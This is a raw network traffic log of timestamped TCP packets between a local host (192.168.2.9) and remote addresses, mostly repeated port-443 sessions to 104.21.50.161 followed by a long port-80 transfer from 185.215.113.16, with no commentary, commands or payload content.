Dec 16, 2024 10:37:08.895889044 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:08.895939112 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.193252087 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.193382978 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.193437099 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.193464994 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.193562031 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.193603992 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.193612099 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.193723917 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.193764925 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.193772078 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.201399088 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.201450109 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.201468945 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.209620953 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.209667921 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.209683895 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.253272057 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.253303051 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.301472902 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.385096073 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.388696909 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.388741016 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.388761044 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.388825893 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.388859034 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.388886929 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.388916016 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.389081001 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.389117002 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.389144897 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.389158964 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.557456017 CET	49729	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.557501078 CET	443	49729	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:10.557565928 CET	49729	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.557892084 CET	49729	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:10.557902098 CET	443	49729	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:11.771159887 CET	443	49729	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:11.771249056 CET	49729	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:11.772655010 CET	49729	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:11.772661924 CET	443	49729	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:11.773051023 CET	443	49729	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:11.774454117 CET	49729	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:11.774580956 CET	49729	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:11.774610996 CET	443	49729	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:12.551213980 CET	443	49729	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:12.551465034 CET	443	49729	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:12.551616907 CET	49729	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:12.551810980 CET	49729	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:12.551829100 CET	443	49729	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:12.726799011 CET	49738	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:12.726819992 CET	443	49738	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:12.726936102 CET	49738	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:12.727514029 CET	49738	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:12.727526903 CET	443	49738	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:13.941323996 CET	443	49738	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:13.941503048 CET	49738	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:13.942977905 CET	49738	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:13.942986965 CET	443	49738	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:13.943490028 CET	443	49738	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:13.944926977 CET	49738	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:13.945087910 CET	49738	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:13.945132971 CET	443	49738	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:13.945207119 CET	49738	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:13.945223093 CET	443	49738	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:14.207787991 CET	49677	443	192.168.2.9	20.189.173.11
Dec 16, 2024 10:37:14.763453007 CET	443	49738	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:14.763531923 CET	443	49738	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:14.763637066 CET	49738	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:14.765763044 CET	49738	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:14.765789986 CET	443	49738	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:15.021526098 CET	49746	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:15.021576881 CET	443	49746	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:15.021698952 CET	49746	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:15.022083044 CET	49746	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:15.022092104 CET	443	49746	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:16.235918999 CET	443	49746	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:16.236095905 CET	49746	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:16.237339973 CET	49746	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:16.237354994 CET	443	49746	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:16.237585068 CET	443	49746	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:16.238754988 CET	49746	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:16.238902092 CET	49746	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:16.238936901 CET	443	49746	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:16.239006996 CET	49746	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:16.239017010 CET	443	49746	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:17.097667933 CET	443	49746	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:17.097748041 CET	443	49746	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:17.097938061 CET	49746	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:17.098305941 CET	49746	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:17.098315954 CET	443	49746	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:17.779916048 CET	49752	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:17.779968023 CET	443	49752	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:17.780040979 CET	49752	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:17.780565023 CET	49752	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:17.780579090 CET	443	49752	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:18.994115114 CET	443	49752	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:18.994178057 CET	49752	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:18.995464087 CET	49752	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:18.995471954 CET	443	49752	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:18.995764017 CET	443	49752	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:18.997096062 CET	49752	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:18.997200966 CET	49752	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:18.997206926 CET	443	49752	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:19.717295885 CET	443	49752	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:19.717408895 CET	443	49752	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:19.717498064 CET	49752	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:19.717771053 CET	49752	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:19.717782974 CET	443	49752	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:20.257591009 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:20.257639885 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:20.257810116 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:20.258162975 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:20.258188009 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.471185923 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.471261024 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.472976923 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.473001957 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.473278046 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.474922895 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.475624084 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.475661993 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.475831985 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.475897074 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.475991964 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.476022959 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.476119995 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.476160049 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.476438046 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.476469994 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.476589918 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.476623058 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.476636887 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.476746082 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.476782084 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.519331932 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.519498110 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.519567013 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.519584894 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.563333988 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.563519001 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.563585997 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.563604116 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.611325979 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.611411095 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.611463070 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:21.655338049 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:21.840019941 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:24.035145998 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:24.035224915 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:24.035476923 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:24.035476923 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:24.046801090 CET	49771	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:24.046833992 CET	443	49771	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:24.046912909 CET	49771	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:24.047283888 CET	49771	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:24.047296047 CET	443	49771	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:24.348423004 CET	49760	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:24.348455906 CET	443	49760	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:25.270101070 CET	443	49771	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:25.270515919 CET	49771	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:25.272315979 CET	49771	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:25.272330999 CET	443	49771	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:25.272646904 CET	443	49771	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:25.274317980 CET	49771	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:25.274338007 CET	49771	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:25.274419069 CET	443	49771	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:25.937644005 CET	443	49771	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:25.937875986 CET	443	49771	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:25.937973976 CET	49771	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:25.938108921 CET	49771	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:25.938118935 CET	443	49771	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:26.008002043 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:26.127779007 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:26.128077030 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:26.128377914 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:26.248111010 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.480844975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.480875015 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.480890036 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.480977058 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.481031895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.481048107 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.481062889 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.481077909 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.481089115 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.481153011 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.481179953 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.481194973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.481210947 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.481221914 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.481245995 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.600714922 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.600734949 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.600804090 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.711700916 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.711776018 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.711838007 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.715681076 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.715770006 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.715826035 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.723892927 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.724031925 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.724088907 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.732362986 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.732466936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.732520103 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.740796089 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.740892887 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.740951061 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.749218941 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.749329090 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.749385118 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.757566929 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.757605076 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.757662058 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.765997887 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.766092062 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.766149998 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.774317026 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.774415016 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.774466991 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.782744884 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.782835007 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.782883883 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.791212082 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.791338921 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.791388035 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.903336048 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.903423071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.903503895 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.906583071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.906687021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.906739950 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.912903070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.912976027 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.913089991 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.919394970 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.919540882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.919595957 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.925704002 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.925724030 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.925776005 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.931715965 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.931884050 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.931942940 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.937870026 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.937952995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.938005924 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.944025040 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.944089890 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.944147110 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.949980021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.950084925 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.950129986 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.956003904 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.956099987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.956147909 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.962009907 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.962126970 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.962184906 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.968097925 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.968230009 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.968276978 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.974193096 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.974225044 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.974288940 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.980325937 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.980432034 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.980503082 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.986355066 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.986447096 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:27.986514091 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:27.992327929 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.035885096 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.095375061 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.095483065 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.095546961 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.097872019 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.097954035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.098006010 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.102785110 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.104583979 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.104641914 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.104726076 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.109808922 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.109843969 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.109963894 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.114861012 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.114960909 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.115000963 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.119112968 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.119165897 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.119209051 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.123676062 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.123727083 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.123753071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.128309011 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.128392935 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.128478050 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.132813931 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.132884979 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.132899046 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.137383938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.137489080 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.137573957 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.141943932 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.142013073 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.142030954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.146498919 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.146575928 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.146692991 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.151026964 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.151082993 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.151127100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.155560017 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.155631065 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.155719042 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.160157919 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.160214901 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.160259962 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.164814949 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.164834976 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.164870977 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.169260979 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.169326067 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.169397116 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.173839092 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.173898935 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.174063921 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.178766966 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.178828955 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.178881884 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.182931900 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.182998896 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:28.183022976 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.187602997 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.187629938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:28.187681913 CET	49777	80	192.168.2.9	185.215.113.16
